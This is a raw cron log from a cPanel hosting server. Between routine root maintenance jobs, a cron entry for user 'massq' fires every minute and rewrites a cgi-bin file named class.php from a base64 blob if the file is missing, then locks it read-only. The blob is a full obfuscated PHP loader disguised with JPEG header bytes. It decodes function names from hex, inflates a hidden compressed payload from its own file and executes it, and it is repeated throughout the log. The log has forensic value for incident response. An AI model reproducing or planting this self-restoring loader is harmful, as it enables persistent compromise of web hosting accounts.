Sep  8 21:52:02 server CROND[17801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:52:02 server CROND[17802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:53:01 server CROND[18159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:53:01 server CROND[18161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:53:01 server CROND[18160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:54:01 server CROND[18540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:54:01 server CROND[18541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:54:01 server CROND[18542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:55:01 server CROND[19008]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:55:01 server CROND[19012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:55:01 server CROND[19011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:55:01 server CROND[19014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:55:01 server CROND[19015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:55:01 server CROND[19013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:55:01 server CROND[19010]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:56:01 server CROND[19839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:56:01 server CROND[19840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:56:01 server CROND[19841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:57:01 server CROND[20211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:57:01 server CROND[20213]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 21:57:01 server CROND[20214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:57:01 server CROND[20212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:58:01 server CROND[20622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:58:01 server CROND[20623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:58:01 server CROND[20626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:59:01 server CROND[20990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:59:01 server CROND[20991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:59:01 server CROND[20989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:00:01 server CROND[21425]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:00:01 server CROND[21426]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:00:01 server CROND[21429]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 22:00:01 server CROND[21436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:00:01 server CROND[21431]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 22:00:01 server CROND[21433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:00:01 server CROND[21439]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:00:01 server CROND[21440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:00:01 server CROND[21435]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:00:01 server CROND[21434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:01:01 server CROND[22319]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 22:01:01 server CROND[22320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:01:01 server CROND[22321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:01:01 server CROND[22322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:01:01 server run-parts(/etc/cron.hourly)[22319]: starting 0anacron
Sep  8 22:01:01 server run-parts(/etc/cron.hourly)[22340]: finished 0anacron
Sep  8 22:02:01 server CROND[22712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:02:01 server CROND[22713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:02:01 server CROND[22714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:03:01 server CROND[23246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:03:01 server CROND[23247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:03:01 server CROND[23248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
